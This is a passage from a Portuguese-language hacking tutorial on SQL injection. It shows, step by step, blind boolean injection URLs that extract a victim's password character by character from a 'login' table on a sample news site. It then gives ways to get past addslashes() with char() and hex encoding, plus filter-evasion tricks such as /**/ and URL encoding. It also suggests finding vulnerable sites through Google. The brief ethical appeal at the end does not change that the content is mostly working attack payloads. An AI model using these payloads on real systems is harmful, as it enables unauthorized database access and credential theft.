quase nunca acontece, entao podemos testar apenas com letras minusculas.Vamos dividir o alfabeto ao meio, pegando o caractere m (109) e checando se a primeira letra da senha esta acima ou abaixo de m:http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=vitima),1,1)) > 109A pagina foi exibida, o que significa que o primeiro caractere esta acima de m:http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=vitima),1,1)) > 117Agora a pagina nao e exibida, pois s em ASCII e 115. Vamos tentar 113:http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=vitima),1,1)) > 113A pagina e exibida, entao temos um caractere ASCII entre 113 e 117.http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=vitima),1,1)) > 114TRUE novamente.http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=vitima),1,1)) > 115FALSE! Isso significa que e 115! Ou, em caracteres, a letra s.Para pegar o proximo caractere da senha, no caso, e, fazemos o mesmo, porem, vamos mudar a substring:http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=vitima),2,1))SQL sem aspasProvavelmente, enquanto estava injetando SQL em alguma pagina nao adianta negar que nao tentou provavelmente, deve ter recebido um erro semelhante a este:-You have an error in your SQL syntax; check the manual that corresponds to yourMySQL server version for the right syntax to use near \ at line 1-Pois bem, o administrador tentou proteger seu sistema utilizando uma funcao que adiciona uma barra invertida \ antes de aspas duplas e aspas simples, a addslashes(). Como sabemos, podemos fazer grande parte da SQL sem aspas , mas quando forem necessarias, podemos utilizar de varios meios para burlar essa protecao. Um deles, para MySQL, e converter cada caractere para seu valor ASCII e utilizar o seguinte formato:char (11,22,33,44,55)Em SQL Server, voce pode utilizar uma solucao parecida:char (11) + char (22) + char (33) + char (44) + char (55)Podemos ainda utilizar valores hexadecimais, precedidos por 0x, que indica o valor hexadecimal da constante, deste modo:01122334455SQL Tricks (truques)Bom, aqui estao algumas consideracoes que podem ser decisivas na hora de uma boa SQL: (dois sinais menos) sao sinais de comentarios padrao, mas dependendo do sistema, deve-se usar /* ou #); as vezes, o sistema bloqueia espacos no campo de id, para burlar isso e juntar tudo, podemos utilizar %20 no lugar de espacos e %27 no lugar de aspas simples; quando isso nao funciona, podemos substituir espacos por char(020), por +, e em MySQL, as vezes, por /**/; se estiver trabalhando em sistemas com que se orientam por IDs e numeros em geral, nao use aspas duplas ou aspas simples, pois nao se usa qualquer tratamento diferente com numeros, ao contrario das strings; scanners sao para lammers, se quiser achar alguma pagina vulneravel, utilize o Google; tudo varia muito, cada site tem sua propria plataforma, dialeto, padroes e forma de trabalhar diferente, aqui eu procurei ser bastante generico falando do SQL Server e do MySQL, mas nao disse tudo;FinalizandoEu gostaria de pedir que o caro leitor nao utilize este conhecimento como lammer, ou como script-kiddie, mas sim como um ser humano maduro que hackeia apenas para contemplar as falhas do sistema.